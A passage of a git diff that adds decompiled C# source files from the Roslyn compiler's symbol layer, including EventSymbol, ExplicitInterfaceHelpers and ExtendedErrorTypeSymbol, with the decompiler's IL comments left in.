SpecializedCollections.EmptyEnumerable<(MethodSymbol, MethodSymbol)>(); + } + + internal sealed override bool HasInlineArrayAttribute(out int length) + { + length = 0; + return false; + } + + internal sealed override bool HasCollectionBuilderAttribute(out TypeSymbol? builderType, out string? methodName) + { + builderType = null; + methodName = null; + return false; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/EvaluatedConstant.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/EvaluatedConstant.cs new file mode 100644 index 0000000..a3af5ab --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/EvaluatedConstant.cs @@ -0,0 +1,16 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class EvaluatedConstant +{ + public readonly ConstantValue Value; + + public readonly ImmutableBindingDiagnostic Diagnostics; + + public EvaluatedConstant(ConstantValue value, ImmutableBindingDiagnostic diagnostics) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + Value = value; + Diagnostics = diagnostics.NullToEmpty(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/EventSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/EventSymbol.cs new file mode 100644 index 0000000..2f3cb2c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/EventSymbol.cs @@ -0,0 +1,276 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Linq; +using Microsoft.Cci; +using Microsoft.CodeAnalysis.CSharp.Emit; +using Microsoft.CodeAnalysis.CSharp.Emit.NoPia; +using Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel; +using Microsoft.CodeAnalysis.Emit; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal abstract class EventSymbol : Symbol, IEventDefinition, ITypeDefinitionMember, ITypeMemberReference, IReference, INamedEntity, IDefinition +{ + IMethodReference IEventDefinition.Adder => (IMethodReference)(object)AdaptedEventSymbol.AddMethod?.GetCciAdapter(); + + IMethodReference IEventDefinition.Remover => (IMethodReference)(object)AdaptedEventSymbol.RemoveMethod?.GetCciAdapter(); + + bool IEventDefinition.IsRuntimeSpecial => AdaptedEventSymbol.HasRuntimeSpecialName; + + bool IEventDefinition.IsSpecialName => AdaptedEventSymbol.HasSpecialName; + + IMethodReference? IEventDefinition.Caller => null; + + ITypeDefinition ITypeDefinitionMember.ContainingTypeDefinition => (ITypeDefinition)(object)AdaptedEventSymbol.ContainingType.GetCciAdapter(); + + TypeMemberVisibility ITypeDefinitionMember.Visibility => PEModuleBuilder.MemberVisibility(AdaptedEventSymbol); + + string INamedEntity.Name => AdaptedEventSymbol.MetadataName; + + internal EventSymbol AdaptedEventSymbol => this; + + internal virtual bool HasRuntimeSpecialName => false; + + public new virtual EventSymbol OriginalDefinition => this; + + protected sealed override Symbol OriginalSymbolDefinition => OriginalDefinition; + + public abstract TypeWithAnnotations TypeWithAnnotations { get; } + + public TypeSymbol Type => TypeWithAnnotations.Type; + + public abstract MethodSymbol? AddMethod { get; } + + public abstract MethodSymbol? RemoveMethod { get; } + + internal bool HasAssociatedField => (object)AssociatedField != null; + + public virtual bool RequiresInstanceReceiver => !IsStatic; + + public abstract bool IsWindowsRuntimeEvent { get; } + + internal virtual bool IsDirectlyExcludedFromCodeCoverage => false; + + internal abstract bool HasSpecialName { get; } + + internal virtual FieldSymbol? AssociatedField => null; + + public EventSymbol? OverriddenEvent + { + get + { + if (IsOverride) + { + if (base.IsDefinition) + { + return (EventSymbol)OverriddenOrHiddenMembers.GetOverriddenMember(); + } + return (EventSymbol)OverriddenOrHiddenMembersResult.GetOverriddenMember(this, OriginalDefinition.OverriddenEvent); + } + return null; + } + } + + internal virtual OverriddenOrHiddenMembersResult OverriddenOrHiddenMembers => this.MakeOverriddenOrHiddenMembers(); + + internal bool HidesBaseEventsByName => (AddMethod ?? RemoveMethod)?.HidesBaseMethodsByName ?? false; + + internal virtual bool IsExplicitInterfaceImplementation => ExplicitInterfaceImplementations.Any(); + + public abstract ImmutableArray ExplicitInterfaceImplementations { get; } + + public sealed override SymbolKind Kind => (SymbolKind)5; + + internal abstract bool MustCallMethodsDirectly { get; } + + public sealed override bool HasUnsupportedMetadata + { + get + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + DiagnosticInfo diagnosticInfo = GetUseSiteInfo().DiagnosticInfo; + bool flag = diagnosticInfo != null; + if (flag) + { + int code = diagnosticInfo.Code; + bool flag2 = ((code == 570 || code == 9041) ? true : false); + flag = flag2; + } + return flag; + } + } + + IEnumerable IEventDefinition.GetAccessors(EmitContext context) + { + //IL_000f: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + MethodSymbol methodSymbol = AdaptedEventSymbol.AddMethod?.GetCciAdapter(); + if (Extensions.ShouldInclude((ITypeDefinitionMember)(object)methodSymbol, context)) + { + yield return (IMethodReference)(object)methodSymbol; + } + MethodSymbol methodSymbol2 = AdaptedEventSymbol.RemoveMethod?.GetCciAdapter(); + if (Extensions.ShouldInclude((ITypeDefinitionMember)(object)methodSymbol2, context)) + { + yield return (IMethodReference)(object)methodSymbol2; + } + } + + ITypeReference IEventDefinition.GetType(EmitContext context) + { + //IL_0000: Unknown result type (might be due to invalid IL or missing references) + //IL_0022: Unknown result type (might be due to invalid IL or missing references) + return ((PEModuleBuilder)(PEModuleBuilder)(object)context.Module).Translate(AdaptedEventSymbol.Type, (SyntaxNode)(object)(CSharpSyntaxNode)(object)((EmitContext)(ref context)).SyntaxNode, context.Diagnostics); + } + + ITypeReference ITypeMemberReference.GetContainingType(EmitContext context) + { + return (ITypeReference)(object)AdaptedEventSymbol.ContainingType.GetCciAdapter(); + } + + void IReference.Dispatch(MetadataVisitor visitor) + { + visitor.Visit((IEventDefinition)(object)this); + } + + IDefinition IReference.AsDefinition(EmitContext context) + { + return (IDefinition)(object)this; + } + + internal new EventSymbol GetCciAdapter() + { + return this; + } + + internal EventSymbol() + { + } + + public ImmutableArray GetFieldAttributes() + { + if ((object)AssociatedField != null) + { + return AssociatedField.GetAttributes(); + } + return ImmutableArray.Empty; + } + + internal EventSymbol GetLeastOverriddenEvent(NamedTypeSymbol? accessingTypeOpt) + { + //IL_0019: Unknown result type (might be due to invalid IL or missing references) + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + accessingTypeOpt = accessingTypeOpt?.OriginalDefinition; + EventSymbol eventSymbol = this; + while (eventSymbol.IsOverride && !eventSymbol.HidesBaseEventsByName) + { + EventSymbol overriddenEvent = eventSymbol.OverriddenEvent; + CompoundUseSiteInfo useSiteInfo = CompoundUseSiteInfo.Discarded; + if ((object)overriddenEvent == null || ((object)accessingTypeOpt != null && !AccessCheck.IsSymbolAccessible(overriddenEvent, accessingTypeOpt, ref useSiteInfo))) + { + break; + } + eventSymbol = overriddenEvent; + } + return eventSymbol; + } + + internal override TResult Accept(CSharpSymbolVisitor visitor, TArgument argument) + { + return visitor.VisitEvent(this, argument); + } + + public override void Accept(CSharpSymbolVisitor visitor) + { + visitor.VisitEvent(this); + } + + public override TResult Accept(CSharpSymbolVisitor visitor) + { + return visitor.VisitEvent(this); + } + + internal EventSymbol AsMember(NamedTypeSymbol newOwner) + { + if (!newOwner.IsDefinition) + { + return new SubstitutedEventSymbol(newOwner as SubstitutedNamedTypeSymbol, this); + } + return this; + } + + internal override UseSiteInfo GetUseSiteInfo() + { + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_000e: Unknown result type (might be due to invalid IL or missing references) + if (base.IsDefinition) + { + return new UseSiteInfo(base.PrimaryDependency); + } + return OriginalDefinition.GetUseSiteInfo(); + } + + internal bool CalculateUseSiteDiagnostic(ref UseSiteInfo result) + { + //IL_004f: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + //IL_0040: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + if (DeriveUseSiteInfoFromType(ref result, TypeWithAnnotations, AllowedRequiredModifierType.None)) + { + return true; + } + if (ContainingModule.HasUnifiedReferences) + { + HashSet checkedTypes = null; + DiagnosticInfo result2 = result.DiagnosticInfo; + if (TypeWithAnnotations.GetUnificationUseSiteDiagnosticRecursive(ref result2, this, ref checkedTypes)) + { + result = result.AdjustDiagnosticInfo(result2); + return true; + } + result = result.AdjustDiagnosticInfo(result2); + } + return false; + } + + protected sealed override bool IsHighestPriorityUseSiteErrorCode(int code) + { + if (code == 570 || code == 9041) + { + return true; + } + return false; + } + + protected sealed override ISymbol CreateISymbol() + { + return (ISymbol)(object)new Microsoft.CodeAnalysis.CSharp.Symbols.PublicModel.EventSymbol(this); + } + + public override bool Equals(Symbol? obj, TypeCompareKind compareKind) + { + //IL_001e: Unknown result type (might be due to invalid IL or missing references) + if (!(obj is EventSymbol eventSymbol)) + { + return false; + } + if ((object)this == eventSymbol) + { + return true; + } + if (TypeSymbol.Equals(ContainingType, eventSymbol.ContainingType, compareKind)) + { + return (object)OriginalDefinition == eventSymbol.OriginalDefinition; + } + return false; + } + + public override int GetHashCode() + { + int num = 1; + num = Hash.Combine(ContainingType, num); + return Hash.Combine(Name, num); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/EventSymbolExtensions.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/EventSymbolExtensions.cs new file mode 100644 index 0000000..09f7381 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/EventSymbolExtensions.cs @@ -0,0 +1,13 @@ +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class EventSymbolExtensions +{ + internal static MethodSymbol GetOwnOrInheritedAccessor(this EventSymbol @event, bool isAdder) + { + if (!isAdder) + { + return @event.GetOwnOrInheritedRemoveMethod(); + } + return @event.GetOwnOrInheritedAddMethod(); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ExplicitInterfaceHelpers.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ExplicitInterfaceHelpers.cs new file mode 100644 index 0000000..17ac5d4 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ExplicitInterfaceHelpers.cs @@ -0,0 +1,346 @@ +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Text; +using Microsoft.CodeAnalysis.CSharp.Syntax; +using Microsoft.CodeAnalysis.PooledObjects; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal static class ExplicitInterfaceHelpers +{ + public static string GetMemberName(Binder binder, ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifierOpt, string name) + { + TypeSymbol explicitInterfaceTypeOpt; + string aliasQualifierOpt; + return GetMemberNameAndInterfaceSymbol(binder, explicitInterfaceSpecifierOpt, name, BindingDiagnosticBag.Discarded, out explicitInterfaceTypeOpt, out aliasQualifierOpt); + } + + public static string GetMemberNameAndInterfaceSymbol(Binder binder, ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifierOpt, string name, BindingDiagnosticBag diagnostics, out TypeSymbol explicitInterfaceTypeOpt, out string aliasQualifierOpt) + { + if (explicitInterfaceSpecifierOpt == null) + { + explicitInterfaceTypeOpt = null; + aliasQualifierOpt = null; + return name; + } + binder = binder.WithAdditionalFlags(BinderFlags.SuppressConstraintChecks | BinderFlags.SuppressObsoleteChecks); + NameSyntax name2 = explicitInterfaceSpecifierOpt.Name; + explicitInterfaceTypeOpt = binder.BindType(name2, diagnostics).Type; + aliasQualifierOpt = name2.GetAliasQualifierOpt(); + return GetMemberName(name, explicitInterfaceTypeOpt, aliasQualifierOpt); + } + + public static string GetMemberName(string name, TypeSymbol explicitInterfaceTypeOpt, string aliasQualifierOpt) + { + if ((object)explicitInterfaceTypeOpt == null) + { + return name; + } + string text = ((Symbol)explicitInterfaceTypeOpt).ToDisplayString(SymbolDisplayFormat.ExplicitInterfaceImplementationFormat); + PooledStringBuilder instance = PooledStringBuilder.GetInstance(); + StringBuilder builder = instance.Builder; + if (!string.IsNullOrEmpty(aliasQualifierOpt)) + { + builder.Append(aliasQualifierOpt); + builder.Append("::"); + } + string text2 = text; + foreach (char c in text2) + { + if (c != ' ') + { + builder.Append(c); + } + } + builder.Append("."); + builder.Append(name); + return instance.ToStringAndFree(); + } + + public static string GetMethodNameWithoutInterfaceName(this MethodSymbol method) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0007: Invalid comparison between Unknown and I4 + if ((int)method.MethodKind != 8) + { + return method.Name; + } + return GetMemberNameWithoutInterfaceName(method.Name); + } + + public static string GetMemberNameWithoutInterfaceName(string fullName) + { + int num = fullName.LastIndexOf('.'); + if (num <= 0) + { + return fullName; + } + return fullName.Substring(num + 1); + } + + public static ImmutableArray SubstituteExplicitInterfaceImplementations(ImmutableArray unsubstitutedExplicitInterfaceImplementations, TypeMap map) where T : Symbol + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + ImmutableArray.Enumerator enumerator = unsubstitutedExplicitInterfaceImplementations.GetEnumerator(); + while (enumerator.MoveNext()) + { + T current = enumerator.Current; + instance.Add(SubstituteExplicitInterfaceImplementation(current, map)); + } + return instance.ToImmutableAndFree(); + } + + public static T SubstituteExplicitInterfaceImplementation(T unsubstitutedPropertyImplemented, TypeMap map) where T : Symbol + { + NamedTypeSymbol containingType = unsubstitutedPropertyImplemented.ContainingType; + NamedTypeSymbol namedTypeSymbol = map.SubstituteNamedType(containingType); + string name = unsubstitutedPropertyImplemented.Name; + ImmutableArray.Enumerator enumerator = namedTypeSymbol.GetMembers(name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (current.OriginalDefinition == unsubstitutedPropertyImplemented.OriginalDefinition) + { + return (T)current; + } + } + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Symbols/Source/ExplicitInterfaceHelpers.cs", 140); + } + + internal static MethodSymbol FindExplicitlyImplementedMethod(this MethodSymbol implementingMethod, bool isOperator, TypeSymbol explicitInterfaceType, string interfaceMethodName, ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifierSyntax, BindingDiagnosticBag diagnostics) + { + return (MethodSymbol)FindExplicitlyImplementedMember(implementingMethod, isOperator, explicitInterfaceType, interfaceMethodName, explicitInterfaceSpecifierSyntax, diagnostics); + } + + internal static PropertySymbol FindExplicitlyImplementedProperty(this PropertySymbol implementingProperty, TypeSymbol explicitInterfaceType, string interfacePropertyName, ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifierSyntax, BindingDiagnosticBag diagnostics) + { + return (PropertySymbol)FindExplicitlyImplementedMember(implementingProperty, isOperator: false, explicitInterfaceType, interfacePropertyName, explicitInterfaceSpecifierSyntax, diagnostics); + } + + internal static EventSymbol FindExplicitlyImplementedEvent(this EventSymbol implementingEvent, TypeSymbol explicitInterfaceType, string interfaceEventName, ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifierSyntax, BindingDiagnosticBag diagnostics) + { + return (EventSymbol)FindExplicitlyImplementedMember(implementingEvent, isOperator: false, explicitInterfaceType, interfaceEventName, explicitInterfaceSpecifierSyntax, diagnostics); + } + + private static Symbol FindExplicitlyImplementedMember(Symbol implementingMember, bool isOperator, TypeSymbol explicitInterfaceType, string interfaceMemberName, ExplicitInterfaceSpecifierSyntax explicitInterfaceSpecifierSyntax, BindingDiagnosticBag diagnostics) + { + //IL_0035: Unknown result type (might be due to invalid IL or missing references) + //IL_003a: Unknown result type (might be due to invalid IL or missing references) + //IL_003c: Unknown result type (might be due to invalid IL or missing references) + //IL_003f: Invalid comparison between Unknown and I4 + //IL_0041: Unknown result type (might be due to invalid IL or missing references) + //IL_0044: Invalid comparison between Unknown and I4 + //IL_00b7: Unknown result type (might be due to invalid IL or missing references) + //IL_00bc: Unknown result type (might be due to invalid IL or missing references) + //IL_0083: Unknown result type (might be due to invalid IL or missing references) + //IL_008a: Expected O, but got Unknown + //IL_0046: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Invalid comparison between Unknown and I4 + //IL_00e0: Unknown result type (might be due to invalid IL or missing references) + //IL_00e7: Expected O, but got Unknown + //IL_0176: Unknown result type (might be due to invalid IL or missing references) + //IL_0181: Unknown result type (might be due to invalid IL or missing references) + //IL_02fa: Unknown result type (might be due to invalid IL or missing references) + //IL_02ff: Unknown result type (might be due to invalid IL or missing references) + //IL_01ad: Unknown result type (might be due to invalid IL or missing references) + //IL_01b2: Unknown result type (might be due to invalid IL or missing references) + //IL_01b4: Unknown result type (might be due to invalid IL or missing references) + //IL_01b7: Invalid comparison between Unknown and I4 + //IL_0343: Unknown result type (might be due to invalid IL or missing references) + //IL_0348: Unknown result type (might be due to invalid IL or missing references) + //IL_034a: Unknown result type (might be due to invalid IL or missing references) + //IL_034d: Invalid comparison between Unknown and I4 + //IL_01b9: Unknown result type (might be due to invalid IL or missing references) + //IL_01bd: Invalid comparison between Unknown and I4 + //IL_034f: Unknown result type (might be due to invalid IL or missing references) + //IL_0353: Invalid comparison between Unknown and I4 + //IL_03ad: Unknown result type (might be due to invalid IL or missing references) + if ((object)explicitInterfaceType == null) + { + return null; + } + Location memberLocation = implementingMember.GetFirstLocation(); + NamedTypeSymbol containingType = implementingMember.ContainingType; + TypeKind typeKind = containingType.TypeKind; + if ((int)typeKind != 2 && (int)typeKind != 7 && (int)typeKind != 10) + { + diagnostics.Add(ErrorCode.ERR_ExplicitInterfaceImplementationInNonClassOrStruct, memberLocation, implementingMember); + return null; + } + if (!explicitInterfaceType.IsInterfaceType()) + { + SourceLocation location = new SourceLocation((SyntaxNode)(object)explicitInterfaceSpecifierSyntax.Name); + diagnostics.Add(ErrorCode.ERR_ExplicitInterfaceImplementationNotInterface, (Location)(object)location, explicitInterfaceType); + return null; + } + NamedTypeSymbol namedTypeSymbol = (NamedTypeSymbol)explicitInterfaceType; + ValueSet val = containingType.InterfacesAndTheirBaseInterfacesNoUseSiteDiagnostics[namedTypeSymbol]; + int count = val.Count; + if (count == 0 || !val.Contains(namedTypeSymbol, (IEqualityComparer)SymbolEqualityComparer.ObliviousNullableModifierMatchesAny)) + { + SourceLocation location2 = new SourceLocation((SyntaxNode)(object)explicitInterfaceSpecifierSyntax.Name); + if (count > 0 && val.Contains(namedTypeSymbol, (IEqualityComparer)SymbolEqualityComparer.IgnoringNullable)) + { + diagnostics.Add(ErrorCode.WRN_NullabilityMismatchInExplicitlyImplementedInterface, (Location)(object)location2); + } + else + { + diagnostics.Add(ErrorCode.ERR_ClassDoesntImplementInterface, (Location)(object)location2, implementingMember, namedTypeSymbol); + } + } + bool flag = false; + Symbol symbol = null; + if ((object)containingType == namedTypeSymbol.OriginalDefinition) + { + return null; + } + bool flag2 = implementingMember.HasParamsParameter(); + ImmutableArray.Enumerator enumerator = namedTypeSymbol.GetMembers(interfaceMemberName).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (current.Kind != implementingMember.Kind || !current.IsImplementableInterfaceMember()) + { + continue; + } + MethodSymbol methodSymbol = current as MethodSymbol; + bool flag3 = (object)methodSymbol != null; + if (flag3) + { + MethodKind methodKind = methodSymbol.MethodKind; + bool flag4 = (((int)methodKind == 2 || (int)methodKind == 9) ? true : false); + flag3 = flag4 != isOperator; + } + if (flag3 || !MemberSignatureComparer.ExplicitImplementationComparer.Equals(implementingMember, current)) + { + continue; + } + flag = true; + if (current.IsAccessor() && !((MethodSymbol)current).IsIndexedPropertyAccessor()) + { + diagnostics.Add(ErrorCode.ERR_ExplicitMethodImplAccessor, memberLocation, implementingMember, current); + continue; + } + if (current.MustCallMethodsDirectly()) + { + diagnostics.Add(ErrorCode.ERR_BogusExplicitImpl, memberLocation, implementingMember, current); + } + else if (flag2 && !current.HasParamsParameter()) + { + diagnostics.Add(ErrorCode.ERR_ExplicitImplParams, memberLocation, implementingMember, current); + } + symbol = current; + break; + } + if (!flag) + { + diagnostics.Add(ErrorCode.ERR_InterfaceMemberNotFound, memberLocation, implementingMember); + } + CompoundUseSiteInfo useSiteInfo; + if ((object)symbol != null) + { + useSiteInfo = new CompoundUseSiteInfo((BindingDiagnosticBag)(object)diagnostics, implementingMember.ContainingAssembly); + if (!AccessCheck.IsSymbolAccessible(symbol, implementingMember.ContainingType, ref useSiteInfo)) + { + diagnostics.Add(ErrorCode.ERR_BadAccess, memberLocation, symbol); + } + else + { + SymbolKind kind = symbol.Kind; + if ((int)kind != 5) + { + if ((int)kind == 15) + { + PropertySymbol obj = (PropertySymbol)symbol; + checkAccessorIsAccessibleIfImplementable(obj.GetMethod); + checkAccessorIsAccessibleIfImplementable(obj.SetMethod); + } + } + else + { + EventSymbol obj2 = (EventSymbol)symbol; + checkAccessorIsAccessibleIfImplementable(obj2.AddMethod); + checkAccessorIsAccessibleIfImplementable(obj2.RemoveMethod); + } + } + ((BindingDiagnosticBag)(object)diagnostics).Add(memberLocation, useSiteInfo); + } + return symbol; + void checkAccessorIsAccessibleIfImplementable(MethodSymbol accessor) + { + if (accessor.IsImplementable() && !AccessCheck.IsSymbolAccessible(accessor, implementingMember.ContainingType, ref useSiteInfo)) + { + diagnostics.Add(ErrorCode.ERR_BadAccess, memberLocation, accessor); + } + } + } + + internal static void FindExplicitlyImplementedMemberVerification(this Symbol implementingMember, Symbol implementedMember, BindingDiagnosticBag diagnostics) + { + if ((object)implementedMember != null) + { + if (implementingMember.ContainsTupleNames() && MemberSignatureComparer.ConsideringTupleNamesCreatesDifference(implementingMember, implementedMember)) + { + Location firstLocation = implementingMember.GetFirstLocation(); + diagnostics.Add(ErrorCode.ERR_ImplBadTupleNames, firstLocation, implementingMember, implementedMember); + } + FindExplicitImplementationCollisions(implementingMember, implementedMember, diagnostics); + if (implementedMember.IsStatic && !implementingMember.ContainingAssembly.RuntimeSupportsStaticAbstractMembersInInterfaces) + { + diagnostics.Add(ErrorCode.ERR_RuntimeDoesNotSupportStaticAbstractMembersInInterfaces, implementingMember.GetFirstLocation()); + } + } + } + + private static void FindExplicitImplementationCollisions(Symbol implementingMember, Symbol implementedMember, BindingDiagnosticBag diagnostics) + { + //IL_0037: Unknown result type (might be due to invalid IL or missing references) + //IL_003d: Unknown result type (might be due to invalid IL or missing references) + //IL_0097: Unknown result type (might be due to invalid IL or missing references) + //IL_00a5: Unknown result type (might be due to invalid IL or missing references) + if ((object)implementedMember == null) + { + return; + } + NamedTypeSymbol containingType = implementedMember.ContainingType; + bool isDefinition = containingType.IsDefinition; + ImmutableArray.Enumerator enumerator = containingType.GetMembers(implementedMember.Name).GetEnumerator(); + while (enumerator.MoveNext()) + { + Symbol current = enumerator.Current; + if (current.Kind != implementingMember.Kind || !(implementedMember != current)) + { + continue; + } + if (!isDefinition && MemberSignatureComparer.RuntimeSignatureComparer.Equals(implementedMember, current)) + { + bool flag = false; + ImmutableArray parameters = implementedMember.GetParameters(); + ImmutableArray parameters2 = current.GetParameters(); + int length = parameters.Length; + for (int i = 0; i < length; i++) + { + if (parameters[i].RefKind != parameters2[i].RefKind) + { + flag = true; + break; + } + } + if (flag) + { + diagnostics.Add(ErrorCode.ERR_ExplicitImplCollisionOnRefOut, containingType.GetFirstLocation(), containingType, implementedMember); + } + else + { + diagnostics.Add(ErrorCode.WRN_ExplicitImplCollision, implementingMember.GetFirstLocation(), implementingMember); + } + break; + } + if (MemberSignatureComparer.ExplicitImplementationComparer.Equals(implementedMember, current)) + { + diagnostics.Add(ErrorCode.WRN_ExplicitImplCollision, implementingMember.GetFirstLocation(), implementingMember); + } + } + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ExplicitInterfaceMethodTypeParameterMap.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ExplicitInterfaceMethodTypeParameterMap.cs new file mode 100644 index 0000000..96c4a03 --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ExplicitInterfaceMethodTypeParameterMap.cs @@ -0,0 +1,21 @@ +using System.Collections.Immutable; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class ExplicitInterfaceMethodTypeParameterMap : OverriddenMethodTypeParameterMapBase +{ + public ExplicitInterfaceMethodTypeParameterMap(SourceOrdinaryMethodSymbol implementationMethod) + : base(implementationMethod) + { + } + + protected override MethodSymbol GetOverriddenMethod(SourceOrdinaryMethodSymbol overridingMethod) + { + ImmutableArray explicitInterfaceImplementations = overridingMethod.ExplicitInterfaceImplementations; + if (explicitInterfaceImplementations.Length <= 0) + { + return null; + } + return explicitInterfaceImplementations[0]; + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ExtendedErrorTypeSymbol.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ExtendedErrorTypeSymbol.cs new file mode 100644 index 0000000..7e4bced --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp.Symbols/ExtendedErrorTypeSymbol.cs @@ -0,0 +1,245 @@ +using System.Collections.Immutable; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp.Symbols; + +internal sealed class ExtendedErrorTypeSymbol : ErrorTypeSymbol +{ + private readonly string _name; + + private readonly int _arity; + + private readonly DiagnosticInfo? _errorInfo; + + private readonly NamespaceOrTypeSymbol? _containingSymbol; + + private readonly bool _unreported; + + public readonly bool VariableUsedBeforeDeclaration; + + private readonly ImmutableArray _candidateSymbols; + + private readonly LookupResultKind _resultKind; + + internal override DiagnosticInfo? ErrorInfo => _errorInfo; + + internal override LookupResultKind ResultKind => _resultKind; + + public override ImmutableArray CandidateSymbols => ImmutableArrayExtensions.NullToEmpty(_candidateSymbols); + + internal override bool Unreported => _unreported; + + public override int Arity => _arity; + + internal override bool MangleName => _arity > 0; + + internal override bool IsFileLocal => false; + + internal override FileIdentifier? AssociatedFileIdentifier => null; + + public override Symbol? ContainingSymbol => _containingSymbol; + + public override string Name => _name; + + public override NamedTypeSymbol OriginalDefinition => this; + + public override ImmutableArray Locations => ImmutableArray.Empty; + + public override NamedTypeSymbol ConstructedFrom => this; + + internal ExtendedErrorTypeSymbol(CSharpCompilation compilation, string name, int arity, DiagnosticInfo? errorInfo, bool unreported = false, bool variableUsedBeforeDeclaration = false) + : this(compilation.Assembly.GlobalNamespace, name, arity, errorInfo, unreported, variableUsedBeforeDeclaration) + { + } + + internal ExtendedErrorTypeSymbol(NamespaceOrTypeSymbol? containingSymbol, string name, int arity, DiagnosticInfo? errorInfo, bool unreported = false, bool variableUsedBeforeDeclaration = false) + { + _name = name; + _errorInfo = errorInfo; + _containingSymbol = containingSymbol; + _arity = arity; + _unreported = unreported; + VariableUsedBeforeDeclaration = variableUsedBeforeDeclaration; + _resultKind = LookupResultKind.Empty; + } + + private ExtendedErrorTypeSymbol(NamespaceOrTypeSymbol? containingSymbol, string name, int arity, DiagnosticInfo? errorInfo, bool unreported, bool variableUsedBeforeDeclaration, ImmutableArray candidateSymbols, LookupResultKind resultKind) + { + _name = name; + _errorInfo = errorInfo; + _containingSymbol = containingSymbol; + _arity = arity; + _unreported = unreported; + VariableUsedBeforeDeclaration = variableUsedBeforeDeclaration; + _candidateSymbols = candidateSymbols; + _resultKind = resultKind; + } + + internal ExtendedErrorTypeSymbol(NamespaceOrTypeSymbol guessSymbol, LookupResultKind resultKind, DiagnosticInfo errorInfo, bool unreported = false) + : this(guessSymbol.ContainingNamespaceOrType(), guessSymbol, resultKind, errorInfo, unreported) + { + } + + internal ExtendedErrorTypeSymbol(NamespaceOrTypeSymbol? containingSymbol, Symbol guessSymbol, LookupResultKind resultKind, DiagnosticInfo errorInfo, bool unreported = false) + : this(containingSymbol, ImmutableArray.Create(guessSymbol), resultKind, errorInfo, GetArity(guessSymbol), unreported) + { + } + + internal ExtendedErrorTypeSymbol(NamespaceOrTypeSymbol? containingSymbol, ImmutableArray candidateSymbols, LookupResultKind resultKind, DiagnosticInfo errorInfo, int arity, bool unreported = false) + : this(containingSymbol, candidateSymbols[0].Name, arity, errorInfo, unreported) + { + _candidateSymbols = UnwrapErrorCandidates(candidateSymbols); + _resultKind = resultKind; + } + + internal ExtendedErrorTypeSymbol AsUnreported() + { + if (!Unreported) + { + return new ExtendedErrorTypeSymbol(_containingSymbol, _name, _arity, _errorInfo, unreported: true, VariableUsedBeforeDeclaration, _candidateSymbols, _resultKind); + } + return this; + } + + private static ImmutableArray UnwrapErrorCandidates(ImmutableArray candidateSymbols) + { + ErrorTypeSymbol errorTypeSymbol = (candidateSymbols.IsEmpty ? null : (candidateSymbols[0] as ErrorTypeSymbol)); + if ((object)errorTypeSymbol == null || errorTypeSymbol.CandidateSymbols.IsEmpty) + { + return candidateSymbols; + } + return errorTypeSymbol.CandidateSymbols; + } + + protected override NamedTypeSymbol WithTupleDataCore(TupleExtraData newData) + { + throw 